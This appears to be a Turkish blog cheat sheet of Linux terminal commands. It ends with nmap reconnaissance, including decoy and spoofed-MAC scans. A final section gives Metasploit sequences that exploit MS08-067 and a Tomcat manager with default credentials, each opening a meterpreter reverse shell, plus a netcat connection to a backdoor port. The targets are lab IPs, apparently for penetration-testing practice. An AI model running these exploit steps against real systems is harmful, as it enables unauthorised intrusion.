Linux Terminal Komutları KabukKullanıcının işletim sistemiyle iletişimini sağlayan yorumlayıcıdır. Verilen komutları işletim sistemine, komutların çıktılarını da kullanıcıya iletir. Birçok uygulaması vardır. Bash, sh, zsh en çok bilinenleridir. Komutlarpwd : bulunulan dizini ekrana basar.pwdman : komut hakkında detaylı bilgi almak için kullanılır.man pwd man grepmkdir : yeni bir dizin oluşturmak için kullanılır.mkdir deneme_dizin mkdir -p deneme_dizin_diger/alt_dizin mkdir -p deneme_dizin_deger/{0..9} touch : yeni bir dosya oluşturur.touch deneme_dosya_diger touch deneme_dizin_x/{A..Z}rm : dosya veya klasör siler.rm deneme_dosya rm -r deneme_dizin/ rm -rf deneme_dizin/cp : dosya veya klasör kopyalama için kullanılır.cp deneme_dosya deneme_dosya3 cp deneme_dizin deneme_dizin2 -rmv : dosya veya klasörleri taşımak için kullanılır.mv deneme_dosya deneme_dosya3find : gelişmiş arama aracıdır.find . -name "*.txt"cd : dizin değiştirmek için kullanılır.cd .. cd cd deneme/ls : dosya ve dizinleri listeleyip, özelliklerini görüntüler.ls -a ls -l ls -rcat : dosya içeriğini görüntüler.cat deneme_dosyaecho : ifadeleri ekrana basar.echo "deneme" echo $HOMEmore , less : içeriği fazla olan, ekrana sığmayan dosyaları görüntüler.more deneme_dosya less deneme_dosyahead : bir dosyanın baştan itibaren istenilen sayıda satırını ekrana basar.head deneme_dosya head -1 deneme_dosyatail : head gibi çalışır ancak sondan itibaren ekrana basar.tail deneme_dosya tail -1 deneme_dosya tail -f deneme_dosyagrep : metin dosyaları içerisinde belirli değerleri aramak için kullanılır.grep "kelime" deneme_dosya grep "kelime" . -R grep "Kelime" deneme_dosya -iuname : sistem bilgilerini görüntüler.uname uname -achown : dosya veya klasörlerin sahibi ve grubunu değiştirir.chown halit:users deneme_dosya chown -R halit:users deneme_dizin/service : servislerin yönetilmesi için kullanılır.service apache2 start service apache2 statusmount : diskleri sisteme bağlar.mount mount /dev/sdb1 mnt Çıktı YönlendirmeKomutların çıktıları dosyalara yönlendirilebileceği gibi, dosya içerikleri de komutlara yönlendirilebilir. Doğrudan bir çıktı > işareti ile yönlendirilir. Yönlendirildiği yerdeki diğer içeriği siler. Aynı işlem >> işareti ile yapılsaydı, içeriğin sonuna ekleme yapılacaktı. Komutlara girdi vermek için < işareti kullanılır. Bir komutun çıktısını diğer komuta vermek için | kullanılır. echo "deneme2" > deneme_dosya echo "deneme3" >> deneme_dosya cut -d ":" -f1 < /etc/passwd cat /etc/passwd | cut -d ":" -f1 cat /etc/passwd | cut -d ":" -f1 | grep root Dosya Sistemi/bin : Kullanıcı ve sistem yöneticisine ait çalıştırılabilir dosyaları barındırır./dev : Donanımlara erişebilmek için gerekli dosyaları barındırır./etc : Sistem konfigürasyonları için gerekli dosyaları barındırır./lib : Sistem kütüphanelerini barındırır./sbin : Sistem yöneticisine ait çalıştırılabilir dosyaları barındırır./home : Kullanıcılara ait dizindir./mnt : Sisteme dışarıdan bağlanacak olan donanım aygıtlarının, bağlantı noktalarını belirten dizindir./root : Bir sistemde en yetkili kullanıcı olan "root" kullanıcısına ait dizindir./tmp : Geçici dosyaların yer aldığı dizindir./usr : Paylaşılan dosyaların barındığı dizindir. Burada çalışabilen dosyalar bulunmakla beraber, döküman ve programlara ait dosyalar da yer almaktadır./var : Sistem ve programlara ait log mesajları, email gibi mesajların bulunduğu dizindir./proc : Sistem hakkında gerekli bilgilerin bulunduğu sanal dizindir./boot : Linux Kernelini barındıran, sistem haritalarını ve ikinci seviye boot yükeleyicilerini barındıran dizin./opt : Add-on yazılımların bulunduğu alandır. Dosya İzinleriHer dosya ve klasörün hem sahibi hem de grubu vardır. Bu izinler read(4), write(2), execute(1) olmaktadır. İzinler verilirken sahip, gurup ve herkes olarak belirlenir. chmod 777 deneme_dosya chmod +x deneme_uygulama chmod g+wx deneme_uygulama Network Ayarlarıifconfig : mevcut ağ arayüzlerinin yönetimi için kullanılır.dhclient : DHCP'den ip talebinde bulunur.ifconfig ifconfig eth0 ifconfig eth0 192.168.2.2 netmask 255.255.255.0 dhclient eth0 Kullanıcı Yönetimi/etc/passwd : Kullanıcı bilgileri tutulur./etc/shadow : Kullanıcıların şifre özetleri tutulur.useradd osman cat /etc/passwd userdel osman Süreç YönetimiÇalışmakta olan her program süreç olarak adlandırılır. Her sürecin kendine has bir PID numarası vardır. ps ps -aux top jobs -l fg bg ./uygulama & kill -9 1139 Paket Yönetimiapt-get install paket apt-cache search paket apt-get update apt-get upgrade apt-get remove paket Kaynak Koddan Kurulum./configure make make install Sistem Bilgisilsblk df -h cat /proc/cpuinfo cat /proc/meminfo netstat netstat -antlTemel Network Komutlarip link ifconfig ifconfig eth0 192.168.10.12 netmask 255.255.255.0dhclient eth0 dhcpd eth0Arp tablosu içeriğini görüntelemek arp -aarp -s 192.168.1.4 00-10-54-CA-E1-40ICMP echo pakedi gönderme ping 8.8.8.8 ping google.com ping 8.8.8.8 -c 1nano /etc/resolv.conf dig a halit.ninja dig aaaa 6.halit.ninja dig txt question.halit.ninja nslookup halit.ninja nslookup halit.ninja 8.8.8.8Netcat aracı ile HTTP isteği gönderme nc halitalptekin.com 80 GET / HTTP/1.1 Host: halitalptekin.comCurl aracı ile HTTP isteği gönderme curl -v http://halitalptekin.comTraceroute aracı ile paket takibi traceroute google.comHost aracı ile hostname öğrenme host 8.8.8.8Bilgi Toplama Komutlarnmap 10.0.3.7 nmap 10.0.3.7 -O nmap -sV -p 80 10.0.3.7 nmap -sV -p 80 10.0.3.7 -v nmap -sS 10.0.3.7 -p 1-100 nmap -sP 10.0.3.7 nmap -A 10.0.3.7 nmap -p- -n -v -T4 10.0.3.7 nmap -p- -n -v -T4 10.0.3.7 -sV nmap -sA 10.0.3.7 -p 80 nmap -p- -n -v -T4 10.0.3.7 -oG results.txt nmap --spoof-mac 10:10:10:10:10:10 nmap -D 10.3.3.3,10.3.3.4,10.3.3.5 10.0.3.7 nmap -p 445 -n -v -T4 -sV --script smb-enum-shares 10.0.3.6 nc 10.0.3.6 9999 netdiscover -r 10.0.3.0/24Servis Saldırıları Komutlarmsfconsole db_rebuild_cache search ms08 use exploit/windows/smb/ms08_067_netapi show options set rhost 10.0.3.6 set payload windows/meterpreter/reverse_tcp set lhost 10.0.3.5 exploit ls pwd getuid screenshot search tomcat use auxiliary/scanner/http/tomcat_mgr_login show options set rhost 10.0.3.7 set rport 8180 use exploit/multi/http/tomcat_mgr_deploy show options set rhost 10.0.3.7 set rport 8180 set username tomcat set password tomcat set payload java/meterpreter/reverse_tcp set lhost 10.0.3.5 nc 10.0.3.7 1524 Kaynaklar
Hiç yorum yok:
Yorum Gönder